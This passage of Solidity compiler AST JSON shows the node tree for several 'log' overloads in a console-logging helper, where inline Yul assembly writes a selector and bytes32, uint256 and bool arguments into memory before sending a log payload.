508:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74549:4:22","nodeType":"YulLiteral","src":"74549:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"74555:2:22","nodeType":"YulIdentifier","src":"74555:2:22"}],"functionName":{"name":"writeString","nativeSrc":"74537:11:22","nodeType":"YulIdentifier","src":"74537:11:22"},"nativeSrc":"74537:21:22","nodeType":"YulFunctionCall","src":"74537:21:22"},"nativeSrc":"74537:21:22","nodeType":"YulExpressionStatement","src":"74537:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36075,"isOffset":false,"isSlot":false,"src":"74176:2:22","valueSize":1},{"declaration":36078,"isOffset":false,"isSlot":false,"src":"74206:2:22","valueSize":1},{"declaration":36081,"isOffset":false,"isSlot":false,"src":"74236:2:22","valueSize":1},{"declaration":36084,"isOffset":false,"isSlot":false,"src":"74266:2:22","valueSize":1},{"declaration":36087,"isOffset":false,"isSlot":false,"src":"74296:2:22","valueSize":1},{"declaration":36090,"isOffset":false,"isSlot":false,"src":"74326:2:22","valueSize":1},{"declaration":36067,"isOffset":false,"isSlot":false,"src":"74555:2:22","valueSize":1},{"declaration":36069,"isOffset":false,"isSlot":false,"src":"74492:2:22","valueSize":1},{"declaration":36071,"isOffset":false,"isSlot":false,"src":"74521:2:22","valueSize":1}],"id":36092,"nodeType":"InlineAssembly","src":"73798:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36094,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"74593:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":36095,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"74599:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":36093,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"74577:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36096,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"74577:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36097,"nodeType":"ExpressionStatement","src":"74577:27:22"},{"AST":{"nativeSrc":"74623:185:22","nodeType":"YulBlock","src":"74623:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"74644:4:22","nodeType":"YulLiteral","src":"74644:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"74650:2:22","nodeType":"YulIdentifier","src":"74650:2:22"}],"functionName":{"name":"mstore","nativeSrc":"74637:6:22","nodeType":"YulIdentifier","src":"74637:6:22"},"nativeSrc":"74637:16:22","nodeType":"YulFunctionCall","src":"74637:16:22"},"nativeSrc":"74637:16:22","nodeType":"YulExpressionStatement","src":"74637:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74673:4:22","nodeType":"YulLiteral","src":"74673:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"74679:2:22","nodeType":"YulIdentifier","src":"74679:2:22"}],"functionName":{"name":"mstore","nativeSrc":"74666:6:22","nodeType":"YulIdentifier","src":"74666:6:22"},"nativeSrc":"74666:16:22","nodeType":"YulFunctionCall","src":"74666:16:22"},"nativeSrc":"74666:16:22","nodeType":"YulExpressionStatement","src":"74666:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74702:4:22","nodeType":"YulLiteral","src":"74702:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"74708:2:22","nodeType":"YulIdentifier","src":"74708:2:22"}],"functionName":{"name":"mstore","nativeSrc":"74695:6:22","nodeType":"YulIdentifier","src":"74695:6:22"},"nativeSrc":"74695:16:22","nodeType":"YulFunctionCall","src":"74695:16:22"},"nativeSrc":"74695:16:22","nodeType":"YulExpressionStatement","src":"74695:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74731:4:22","nodeType":"YulLiteral","src":"74731:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"74737:2:22","nodeType":"YulIdentifier","src":"74737:2:22"}],"functionName":{"name":"mstore","nativeSrc":"74724:6:22","nodeType":"YulIdentifier","src":"74724:6:22"},"nativeSrc":"74724:16:22","nodeType":"YulFunctionCall","src":"74724:16:22"},"nativeSrc":"74724:16:22","nodeType":"YulExpressionStatement","src":"74724:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74760:4:22","nodeType":"YulLiteral","src":"74760:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"74766:2:22","nodeType":"YulIdentifier","src":"74766:2:22"}],"functionName":{"name":"mstore","nativeSrc":"74753:6:22","nodeType":"YulIdentifier","src":"74753:6:22"},"nativeSrc":"74753:16:22","nodeType":"YulFunctionCall","src":"74753:16:22"},"nativeSrc":"74753:16:22","nodeType":"YulExpressionStatement","src":"74753:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"74789:4:22","nodeType":"YulLiteral","src":"74789:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"74795:2:22","nodeType":"YulIdentifier","src":"74795:2:22"}],"functionName":{"name":"mstore","nativeSrc":"74782:6:22","nodeType":"YulIdentifier","src":"74782:6:22"},"nativeSrc":"74782:16:22","nodeType":"YulFunctionCall","src":"74782:16:22"},"nativeSrc":"74782:16:22","nodeType":"YulExpressionStatement","src":"74782:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36075,"isOffset":false,"isSlot":false,"src":"74650:2:22","valueSize":1},{"declaration":36078,"isOffset":false,"isSlot":false,"src":"74679:2:22","valueSize":1},{"declaration":36081,"isOffset":false,"isSlot":false,"src":"74708:2:22","valueSize":1},{"declaration":36084,"isOffset":false,"isSlot":false,"src":"74737:2:22","valueSize":1},{"declaration":36087,"isOffset":false,"isSlot":false,"src":"74766:2:22","valueSize":1},{"declaration":36090,"isOffset":false,"isSlot":false,"src":"74795:2:22","valueSize":1}],"id":36098,"nodeType":"InlineAssembly","src":"74614:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"73617:3:22","parameters":{"id":36072,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36067,"mutability":"mutable","name":"p0","nameLocation":"73629:2:22","nodeType":"VariableDeclaration","scope":36100,"src":"73621:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36066,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73621:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36069,"mutability":"mutable","name":"p1","nameLocation":"73641:2:22","nodeType":"VariableDeclaration","scope":36100,"src":"73633:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36068,"name":"uint256","nodeType":"ElementaryTypeName","src":"73633:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":36071,"mutability":"mutable","name":"p2","nameLocation":"73650:2:22","nodeType":"VariableDeclaration","scope":36100,"src":"73645:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36070,"name":"bool","nodeType":"ElementaryTypeName","src":"73645:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"73620:33:22"},"returnParameters":{"id":36073,"nodeType":"ParameterList","parameters":[],"src":"73668:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36135,"nodeType":"FunctionDefinition","src":"74820:1212:22","nodes":[],"body":{"id":36134,"nodeType":"Block","src":"74883:1149:22","nodes":[],"statements":[{"assignments":[36110],"declarations":[{"constant":false,"id":36110,"mutability":"mutable","name":"m0","nameLocation":"74901:2:22","nodeType":"VariableDeclaration","scope":36134,"src":"74893:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36109,"name":"bytes32","nodeType":"ElementaryTypeName","src":"74893:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36111,"nodeType":"VariableDeclarationStatement","src":"74893:10:22"},{"assignments":[36113],"declarations":[{"constant":false,"id":36113,"mutability":"mutable","name":"m1","nameLocation":"74921:2:22","nodeType":"VariableDeclaration","scope":36134,"src":"74913:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36112,"name":"bytes32","nodeType":"ElementaryTypeName","src":"74913:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36114,"nodeType":"VariableDeclarationStatement","src":"74913:10:22"},{"assignments":[36116],"declarations":[{"constant":false,"id":36116,"mutability":"mutable","name":"m2","nameLocation":"74941:2:22","nodeType":"VariableDeclaration","scope":36134,"src":"74933:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36115,"name":"bytes32","nodeType":"ElementaryTypeName","src":"74933:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36117,"nodeType":"VariableDeclarationStatement","src":"74933:10:22"},{"assignments":[36119],"declarations":[{"constant":false,"id":36119,"mutability":"mutable","name":"m3","nameLocation":"74961:2:22","nodeType":"VariableDeclaration","scope":36134,"src":"74953:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36118,"name":"bytes32","nodeType":"ElementaryTypeName","src":"74953:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36120,"nodeType":"VariableDeclarationStatement","src":"74953:10:22"},{"assignments":[36122],"declarations":[{"constant":false,"id":36122,"mutability":"mutable","name":"m4","nameLocation":"74981:2:22","nodeType":"VariableDeclaration","scope":36134,"src":"74973:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36121,"name":"bytes32","nodeType":"ElementaryTypeName","src":"74973:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36123,"nodeType":"VariableDeclarationStatement","src":"74973:10:22"},{"assignments":[36125],"declarations":[{"constant":false,"id":36125,"mutability":"mutable","name":"m5","nameLocation":"75001:2:22","nodeType":"VariableDeclaration","scope":36134,"src":"74993:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36124,"name":"bytes32","nodeType":"ElementaryTypeName","src":"74993:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36126,"nodeType":"VariableDeclarationStatement","src":"74993:10:22"},{"AST":{"nativeSrc":"75022:764:22","nodeType":"YulBlock","src":"75022:764:22","statements":[{"body":{"nativeSrc":"75065:313:22","nodeType":"YulBlock","src":"75065:313:22","statements":[{"nativeSrc":"75083:15:22","nodeType":"YulVariableDeclaration","src":"75083:15:22","value":{"kind":"number","nativeSrc":"75097:1:22","nodeType":"YulLiteral","src":"75097:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"75087:6:22","nodeType":"YulTypedName","src":"75087:6:22","type":""}]},{"body":{"nativeSrc":"75168:40:22","nodeType":"YulBlock","src":"75168:40:22","statements":[{"body":{"nativeSrc":"75197:9:22","nodeType":"YulBlock","src":"75197:9:22","statements":[{"nativeSrc":"75199:5:22","nodeType":"YulBreak","src":"75199:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"75185:6:22","nodeType":"YulIdentifier","src":"75185:6:22"},{"name":"w","nativeSrc":"75193:1:22","nodeType":"YulIdentifier","src":"75193:1:22"}],"functionName":{"name":"byte","nativeSrc":"75180:4:22","nodeType":"YulIdentifier","src":"75180:4:22"},"nativeSrc":"75180:15:22","nodeType":"YulFunctionCall","src":"75180:15:22"}],"functionName":{"name":"iszero","nativeSrc":"75173:6:22","nodeType":"YulIdentifier","src":"75173:6:22"},"nativeSrc":"75173:23:22","nodeType":"YulFunctionCall","src":"75173:23:22"},"nativeSrc":"75170:36:22","nodeType":"YulIf","src":"75170:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"75125:6:22","nodeType":"YulIdentifier","src":"75125:6:22"},{"kind":"number","nativeSrc":"75133:4:22","nodeType":"YulLiteral","src":"75133:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"75122:2:22","nodeType":"YulIdentifier","src":"75122:2:22"},"nativeSrc":"75122:16:22","nodeType":"YulFunctionCall","src":"75122:16:22"},"nativeSrc":"75115:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"75139:28:22","nodeType":"YulBlock","src":"75139:28:22","statements":[{"nativeSrc":"75141:24:22","nodeType":"YulAssignment","src":"75141:24:22","value":{"arguments":[{"name":"length","nativeSrc":"75155:6:22","nodeType":"YulIdentifier","src":"75155:6:22"},{"kind":"number","nativeSrc":"75163:1:22","nodeType":"YulLiteral","src":"75163:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"75151:3:22","nodeType":"YulIdentifier","src":"75151:3:22"},"nativeSrc":"75151:14:22","nodeType":"YulFunctionCall","src":"75151:14:22"},"variableNames":[{"name":"length","nativeSrc":"75141:6:22","nodeType":"YulIdentifier","src":"75141:6:22"}]}]},"pre":{"nativeSrc":"75119:2:22","nodeType":"YulBlock","src":"75119:2:22","statements":[]},"src":"75115:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"75232:3:22","nodeType":"YulIdentifier","src":"75232:3:22"},{"name":"length","nativeSrc":"75237:6:22","nodeType":"YulIdentifier","src":"75237:6:22"}],"functionName":{"name":"mstore","nativeSrc":"75225:6:22","nodeType":"YulIdentifier","src":"75225:6:22"},"nativeSrc":"75225:19:22","nodeType":"YulFunctionCall","src":"75225:19:22"},"nativeSrc":"75225:19:22","nodeType":"YulExpressionStatement","src":"75225:19:22"},{"nativeSrc":"75261:37:22","nodeType":"YulVariableDeclaration","src":"75261:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"75278:3:22","nodeType":"YulLiteral","src":"75278:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"75287:1:22","nodeType":"YulLiteral","src":"75287:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"75290:6:22","nodeType":"YulIdentifier","src":"75290:6:22"}],"functionName":{"name":"shl","nativeSrc":"75283:3:22","nodeType":"YulIdentifier","src":"75283:3:22"},"nativeSrc":"75283:14:22","nodeType":"YulFunctionCall","src":"75283:14:22"}],"functionName":{"name":"sub","nativeSrc":"75274:3:22","nodeType":"YulIdentifier","src":"75274:3:22"},"nativeSrc":"75274:24:22","nodeType":"YulFunctionCall","src":"75274:24:22"},"variables":[{"name":"shift","nativeSrc":"75265:5:22","nodeType":"YulTypedName","src":"75265:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"75326:3:22","nodeType":"YulIdentifier","src":"75326:3:22"},{"kind":"number","nativeSrc":"75331:4:22","nodeType":"YulLiteral","src":"75331:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"75322:3:22","nodeType":"YulIdentifier","src":"75322:3:22"},"nativeSrc":"75322:14:22","nodeType":"YulFunctionCall","src":"75322:14:22"},{"arguments":[{"name":"shift","nativeSrc":"75342:5:22","nodeType":"YulIdentifier","src":"75342:5:22"},{"arguments":[{"name":"shift","nativeSrc":"75353:5:22","nodeType":"YulIdentifier","src":"75353:5:22"},{"name":"w","nativeSrc":"75360:1:22","nodeType":"YulIdentifier","src":"75360:1:22"}],"functionName":{"name":"shr","nativeSrc":"75349:3:22","nodeType":"YulIdentifier","src":"75349:3:22"},"nativeSrc":"75349:13:22","nodeType":"YulFunctionCall","src":"75349:13:22"}],"functionName":{"name":"shl","nativeSrc":"75338:3:22","nodeType":"YulIdentifier","src":"75338:3:22"},"nativeSrc":"75338:25:22","nodeType":"YulFunctionCall","src":"75338:25:22"}],"functionName":{"name":"mstore","nativeSrc":"75315:6:22","nodeType":"YulIdentifier","src":"75315:6:22"},"nativeSrc":"75315:49:22","nodeType":"YulFunctionCall","src":"75315:49:22"},"nativeSrc":"75315:49:22","nodeType":"YulExpressionStatement","src":"75315:49:22"}]},"name":"writeString","nativeSrc":"75036:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"75057:3:22","nodeType":"YulTypedName","src":"75057:3:22","type":""},{"name":"w","nativeSrc":"75062:1:22","nodeType":"YulTypedName","src":"75062:1:22","type":""}],"src":"75036:342:22"},{"nativeSrc":"75391:17:22","nodeType":"YulAssignment","src":"75391:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"75403:4:22","nodeType":"YulLiteral","src":"75403:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"75397:5:22","nodeType":"YulIdentifier","src":"75397:5:22"},"nativeSrc":"75397:11:22","nodeType":"YulFunctionCall","src":"75397:11:22"},"variableNames":[{"name":"m0","nativeSrc":"75391:2:22","nodeType":"YulIdentifier","src":"75391:2:22"}]},{"nativeSrc":"75421:17:22","nodeType":"YulAssignment","src":"75421:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"75433:4:22","nodeType":"YulLiteral","src":"75433:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"75427:5:22","nodeType":"YulIdentifier","src":"75427:5:22"},"nativeSrc":"75427:11:22","nodeType":"YulFunctionCall","src":"75427:11:22"},"variableNames":[{"name":"m1","nativeSrc":"75421:2:22","nodeType":"YulIdentifier","src":"75421:2:22"}]},{"nativeSrc":"75451:17:22","nodeType":"YulAssignment","src":"75451:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"75463:4:22","nodeType":"YulLiteral","src":"75463:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"75457:5:22","nodeType":"YulIdentifier","src":"75457:5:22"},"nativeSrc":"75457:11:22","nodeType":"YulFunctionCall","src":"75457:11:22"},"variableNames":[{"name":"m2","nativeSrc":"75451:2:22","nodeType":"YulIdentifier","src":"75451:2:22"}]},{"nativeSrc":"75481:17:22","nodeType":"YulAssignment","src":"75481:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"75493:4:22","nodeType":"YulLiteral","src":"75493:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"75487:5:22","nodeType":"YulIdentifier","src":"75487:5:22"},"nativeSrc":"75487:11:22","nodeType":"YulFunctionCall","src":"75487:11:22"},"variableNames":[{"name":"m3","nativeSrc":"75481:2:22","nodeType":"YulIdentifier","src":"75481:2:22"}]},{"nativeSrc":"75511:17:22","nodeType":"YulAssignment","src":"75511:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"75523:4:22","nodeType":"YulLiteral","src":"75523:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"75517:5:22","nodeType":"YulIdentifier","src":"75517:5:22"},"nativeSrc":"75517:11:22","nodeType":"YulFunctionCall","src":"75517:11:22"},"variableNames":[{"name":"m4","nativeSrc":"75511:2:22","nodeType":"YulIdentifier","src":"75511:2:22"}]},{"nativeSrc":"75541:17:22","nodeType":"YulAssignment","src":"75541:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"75553:4:22","nodeType":"YulLiteral","src":"75553:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"75547:5:22","nodeType":"YulIdentifier","src":"75547:5:22"},"nativeSrc":"75547:11:22","nodeType":"YulFunctionCall","src":"75547:11:22"},"variableNames":[{"name":"m5","nativeSrc":"75541:2:22","nodeType":"YulIdentifier","src":"75541:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75636:4:22","nodeType":"YulLiteral","src":"75636:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"75642:10:22","nodeType":"YulLiteral","src":"75642:10:22","type":"","value":"0xca47c4eb"}],"functionName":{"name":"mstore","nativeSrc":"75629:6:22","nodeType":"YulIdentifier","src":"75629:6:22"},"nativeSrc":"75629:24:22","nodeType":"YulFunctionCall","src":"75629:24:22"},"nativeSrc":"75629:24:22","nodeType":"YulExpressionStatement","src":"75629:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75673:4:22","nodeType":"YulLiteral","src":"75673:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"75679:4:22","nodeType":"YulLiteral","src":"75679:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"75666:6:22","nodeType":"YulIdentifier","src":"75666:6:22"},"nativeSrc":"75666:18:22","nodeType":"YulFunctionCall","src":"75666:18:22"},"nativeSrc":"75666:18:22","nodeType":"YulExpressionStatement","src":"75666:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75704:4:22","nodeType":"YulLiteral","src":"75704:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"75710:2:22","nodeType":"YulIdentifier","src":"75710:2:22"}],"functionName":{"name":"mstore","nativeSrc":"75697:6:22","nodeType":"YulIdentifier","src":"75697:6:22"},"nativeSrc":"75697:16:22","nodeType":"YulFunctionCall","src":"75697:16:22"},"nativeSrc":"75697:16:22","nodeType":"YulExpressionStatement","src":"75697:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75733:4:22","nodeType":"YulLiteral","src":"75733:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"75739:2:22","nodeType":"YulIdentifier","src":"75739:2:22"}],"functionName":{"name":"mstore","nativeSrc":"75726:6:22","nodeType":"YulIdentifier","src":"75726:6:22"},"nativeSrc":"75726:16:22","nodeType":"YulFunctionCall","src":"75726:16:22"},"nativeSrc":"75726:16:22","nodeType":"YulExpressionStatement","src":"75726:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75767:4:22","nodeType":"YulLiteral","src":"75767:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"75773:2:22","nodeType":"YulIdentifier","src":"75773:2:22"}],"functionName":{"name":"writeString","nativeSrc":"75755:11:22","nodeType":"YulIdentifier","src":"75755:11:22"},"nativeSrc":"75755:21:22","nodeType":"YulFunctionCall","src":"75755:21:22"},"nativeSrc":"75755:21:22","nodeType":"YulExpressionStatement","src":"75755:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36110,"isOffset":false,"isSlot":false,"src":"75391:2:22","valueSize":1},{"declaration":36113,"isOffset":false,"isSlot":false,"src":"75421:2:22","valueSize":1},{"declaration":36116,"isOffset":false,"isSlot":false,"src":"75451:2:22","valueSize":1},{"declaration":36119,"isOffset":false,"isSlot":false,"src":"75481:2:22","valueSize":1},{"declaration":36122,"isOffset":false,"isSlot":false,"src":"75511:2:22","valueSize":1},{"declaration":36125,"isOffset":false,"isSlot":false,"src":"75541:2:22","valueSize":1},{"declaration":36102,"isOffset":false,"isSlot":false,"src":"75773:2:22","valueSize":1},{"declaration":36104,"isOffset":false,"isSlot":false,"src":"75710:2:22","valueSize":1},{"declaration":36106,"isOffset":false,"isSlot":false,"src":"75739:2:22","valueSize":1}],"id":36127,"nodeType":"InlineAssembly","src":"75013:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36129,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"75811:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":36130,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"75817:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":36128,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"75795:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36131,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"75795:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36132,"nodeType":"ExpressionStatement","src":"75795:27:22"},{"AST":{"nativeSrc":"75841:185:22","nodeType":"YulBlock","src":"75841:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"75862:4:22","nodeType":"YulLiteral","src":"75862:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"75868:2:22","nodeType":"YulIdentifier","src":"75868:2:22"}],"functionName":{"name":"mstore","nativeSrc":"75855:6:22","nodeType":"YulIdentifier","src":"75855:6:22"},"nativeSrc":"75855:16:22","nodeType":"YulFunctionCall","src":"75855:16:22"},"nativeSrc":"75855:16:22","nodeType":"YulExpressionStatement","src":"75855:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75891:4:22","nodeType":"YulLiteral","src":"75891:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"75897:2:22","nodeType":"YulIdentifier","src":"75897:2:22"}],"functionName":{"name":"mstore","nativeSrc":"75884:6:22","nodeType":"YulIdentifier","src":"75884:6:22"},"nativeSrc":"75884:16:22","nodeType":"YulFunctionCall","src":"75884:16:22"},"nativeSrc":"75884:16:22","nodeType":"YulExpressionStatement","src":"75884:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75920:4:22","nodeType":"YulLiteral","src":"75920:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"75926:2:22","nodeType":"YulIdentifier","src":"75926:2:22"}],"functionName":{"name":"mstore","nativeSrc":"75913:6:22","nodeType":"YulIdentifier","src":"75913:6:22"},"nativeSrc":"75913:16:22","nodeType":"YulFunctionCall","src":"75913:16:22"},"nativeSrc":"75913:16:22","nodeType":"YulExpressionStatement","src":"75913:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75949:4:22","nodeType":"YulLiteral","src":"75949:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"75955:2:22","nodeType":"YulIdentifier","src":"75955:2:22"}],"functionName":{"name":"mstore","nativeSrc":"75942:6:22","nodeType":"YulIdentifier","src":"75942:6:22"},"nativeSrc":"75942:16:22","nodeType":"YulFunctionCall","src":"75942:16:22"},"nativeSrc":"75942:16:22","nodeType":"YulExpressionStatement","src":"75942:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"75978:4:22","nodeType":"YulLiteral","src":"75978:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"75984:2:22","nodeType":"YulIdentifier","src":"75984:2:22"}],"functionName":{"name":"mstore","nativeSrc":"75971:6:22","nodeType":"YulIdentifier","src":"75971:6:22"},"nativeSrc":"75971:16:22","nodeType":"YulFunctionCall","src":"75971:16:22"},"nativeSrc":"75971:16:22","nodeType":"YulExpressionStatement","src":"75971:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"76007:4:22","nodeType":"YulLiteral","src":"76007:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"76013:2:22","nodeType":"YulIdentifier","src":"76013:2:22"}],"functionName":{"name":"mstore","nativeSrc":"76000:6:22","nodeType":"YulIdentifier","src":"76000:6:22"},"nativeSrc":"76000:16:22","nodeType":"YulFunctionCall","src":"76000:16:22"},"nativeSrc":"76000:16:22","nodeType":"YulExpressionStatement","src":"76000:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36110,"isOffset":false,"isSlot":false,"src":"75868:2:22","valueSize":1},{"declaration":36113,"isOffset":false,"isSlot":false,"src":"75897:2:22","valueSize":1},{"declaration":36116,"isOffset":false,"isSlot":false,"src":"75926:2:22","valueSize":1},{"declaration":36119,"isOffset":false,"isSlot":false,"src":"75955:2:22","valueSize":1},{"declaration":36122,"isOffset":false,"isSlot":false,"src":"75984:2:22","valueSize":1},{"declaration":36125,"isOffset":false,"isSlot":false,"src":"76013:2:22","valueSize":1}],"id":36133,"nodeType":"InlineAssembly","src":"75832:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"74829:3:22","parameters":{"id":36107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36102,"mutability":"mutable","name":"p0","nameLocation":"74841:2:22","nodeType":"VariableDeclaration","scope":36135,"src":"74833:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36101,"name":"bytes32","nodeType":"ElementaryTypeName","src":"74833:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"